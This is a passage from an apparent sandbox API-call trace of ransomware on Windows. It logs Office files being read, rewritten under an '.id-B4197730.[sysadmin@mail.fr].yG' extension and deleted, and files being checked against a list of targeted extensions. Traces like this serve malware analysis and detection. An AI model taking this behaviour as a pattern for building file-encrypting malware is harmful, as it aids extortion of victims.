	[0154.605] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=295074) returned 1
	[0154.605] CloseHandle (hObject=0x4ac) returned 1
	[0154.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220
	[0154.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.606] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.606] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0154.607] GetLastError () returned 0x0
	[0154.607] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x480a2, lpOverlapped=0x0) returned 1
	[0154.691] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x480b0, lpOverlapped=0x0) returned 1
	[0155.009] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.009] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xea, lpOverlapped=0x0) returned 1
	[0155.009] SetEndOfFile (hFile=0x4b0) returned 1
	[0155.010] CloseHandle (hObject=0x4b0) returned 1
	[0155.010] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.010] SetEndOfFile (hFile=0x4ac) returned 1
	[0155.082] CloseHandle (hObject=0x4ac) returned 1
	[0155.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0155.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1
	[0155.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.083] lstrlenW (lpString=".doc") returned 4
	[0155.083] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.083] lstrlenW (lpString=".docx") returned 5
	[0155.084] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.084] lstrlenW (lpString=".pdf") returned 4
	[0155.084] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString=".xls") returned 4
	[0155.084] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString=".xlsx") returned 5
	[0155.084] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.084] lstrlenW (lpString=".ppt") returned 4
	[0155.084] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.084] lstrlenW (lpString=".zip") returned 4
	[0155.084] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString=".rar") returned 4
	[0155.084] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString=".bz2") returned 4
	[0155.084] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString=".7z") returned 3
	[0155.084] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.084] lstrlenW (lpString=".dbf") returned 4
	[0155.084] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.084] lstrlenW (lpString=".1cd") returned 4
	[0155.084] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.084] lstrlenW (lpString=".jpg") returned 4
	[0155.084] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.085] lstrlenW (lpString=".doc") returned 4
	[0155.085] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".docx") returned 5
	[0155.085] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.085] lstrlenW (lpString=".pdf") returned 4
	[0155.085] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".xls") returned 4
	[0155.085] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".xlsx") returned 5
	[0155.085] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.085] lstrlenW (lpString=".ppt") returned 4
	[0155.085] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.085] lstrlenW (lpString=".zip") returned 4
	[0155.085] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".rar") returned 4
	[0155.085] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".bz2") returned 4
	[0155.085] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString=".7z") returned 3
	[0155.085] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.085] lstrlenW (lpString=".dbf") returned 4
	[0155.085] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.085] lstrlenW (lpString=".1cd") returned 4
	[0155.085] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0155.086] lstrlenW (lpString=".jpg") returned 4
	[0155.086] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.086] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.086] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0155.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.419] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=18624) returned 1
	[0155.419] CloseHandle (hObject=0x550) returned 1
	[0155.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0155.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.422] lstrlenW (lpString=".doc") returned 4
	[0155.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.422] lstrlenW (lpString=".docx") returned 5
	[0155.422] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.422] lstrlenW (lpString=".pdf") returned 4
	[0155.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.422] lstrlenW (lpString=".xls") returned 4
	[0155.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.422] lstrlenW (lpString=".xlsx") returned 5
	[0155.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.422] lstrlenW (lpString=".ppt") returned 4
	[0155.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString=".zip") returned 4
	[0155.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.423] lstrlenW (lpString=".rar") returned 4
	[0155.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.423] lstrlenW (lpString=".bz2") returned 4
	[0155.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.423] lstrlenW (lpString=".7z") returned 3
	[0155.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString=".dbf") returned 4
	[0155.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString=".1cd") returned 4
	[0155.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString=".jpg") returned 4
	[0155.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.423] lstrlenW (lpString=".doc") returned 4
	[0155.423] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.423] lstrlenW (lpString=".docx") returned 5
	[0155.423] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.423] lstrlenW (lpString=".pdf") returned 4
	[0155.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.424] lstrlenW (lpString=".xls") returned 4
	[0155.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.424] lstrlenW (lpString=".xlsx") returned 5
	[0155.424] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.424] lstrlenW (lpString=".ppt") returned 4
	[0155.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.424] lstrlenW (lpString=".zip") returned 4
	[0155.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.424] lstrlenW (lpString=".rar") returned 4
	[0155.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.424] lstrlenW (lpString=".bz2") returned 4
	[0155.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.424] lstrlenW (lpString=".7z") returned 3
	[0155.424] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.424] lstrlenW (lpString=".dbf") returned 4
	[0155.424] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.424] lstrlenW (lpString=".1cd") returned 4
	[0155.424] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0155.424] lstrlenW (lpString=".jpg") returned 4
	[0155.424] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.425] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.425] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0155.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.426] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11616) returned 1
	[0155.426] CloseHandle (hObject=0x550) returned 1
	[0155.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0155.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.426] lstrlenW (lpString=".doc") returned 4
	[0155.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.426] lstrlenW (lpString=".docx") returned 5
	[0155.427] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.427] lstrlenW (lpString=".pdf") returned 4
	[0155.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.427] lstrlenW (lpString=".xls") returned 4
	[0155.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.427] lstrlenW (lpString=".xlsx") returned 5
	[0155.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.427] lstrlenW (lpString=".ppt") returned 4
	[0155.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.427] lstrlenW (lpString=".zip") returned 4
	[0155.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.427] lstrlenW (lpString=".rar") returned 4
	[0155.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.427] lstrlenW (lpString=".bz2") returned 4
	[0155.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.427] lstrlenW (lpString=".7z") returned 3
	[0155.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.427] lstrlenW (lpString=".dbf") returned 4
	[0155.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.427] lstrlenW (lpString=".1cd") returned 4
	[0155.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.427] lstrlenW (lpString=".jpg") returned 4
	[0155.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.428] lstrlenW (lpString=".doc") returned 4
	[0155.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString=".docx") returned 5
	[0155.428] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.428] lstrlenW (lpString=".pdf") returned 4
	[0155.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString=".xls") returned 4
	[0155.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString=".xlsx") returned 5
	[0155.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.428] lstrlenW (lpString=".ppt") returned 4
	[0155.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.428] lstrlenW (lpString=".zip") returned 4
	[0155.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString=".rar") returned 4
	[0155.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.428] lstrlenW (lpString=".bz2") returned 4
	[0155.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.428] lstrlenW (lpString=".7z") returned 3
	[0155.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.428] lstrlenW (lpString=".dbf") returned 4
	[0155.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.429] lstrlenW (lpString=".1cd") returned 4
	[0155.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0155.429] lstrlenW (lpString=".jpg") returned 4
	[0155.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.429] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.429] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0155.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.430] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19648) returned 1
	[0155.430] CloseHandle (hObject=0x550) returned 1
	[0155.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0155.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.543] lstrlenW (lpString=".doc") returned 4
	[0155.543] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString=".docx") returned 5
	[0155.544] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.544] lstrlenW (lpString=".pdf") returned 4
	[0155.544] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString=".xls") returned 4
	[0155.544] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString=".xlsx") returned 5
	[0155.544] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.544] lstrlenW (lpString=".ppt") returned 4
	[0155.544] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.544] lstrlenW (lpString=".zip") returned 4
	[0155.544] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString=".rar") returned 4
	[0155.544] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.544] lstrlenW (lpString=".bz2") returned 4
	[0155.544] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.544] lstrlenW (lpString=".7z") returned 3
	[0155.544] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.544] lstrlenW (lpString=".dbf") returned 4
	[0155.544] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.544] lstrlenW (lpString=".1cd") returned 4
	[0155.544] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.545] lstrlenW (lpString=".jpg") returned 4
	[0155.545] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.545] lstrlenW (lpString=".doc") returned 4
	[0155.545] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString=".docx") returned 5
	[0155.545] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.545] lstrlenW (lpString=".pdf") returned 4
	[0155.545] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString=".xls") returned 4
	[0155.545] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString=".xlsx") returned 5
	[0155.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.545] lstrlenW (lpString=".ppt") returned 4
	[0155.545] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.545] lstrlenW (lpString=".zip") returned 4
	[0155.545] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString=".rar") returned 4
	[0155.545] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.545] lstrlenW (lpString=".bz2") returned 4
	[0155.545] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
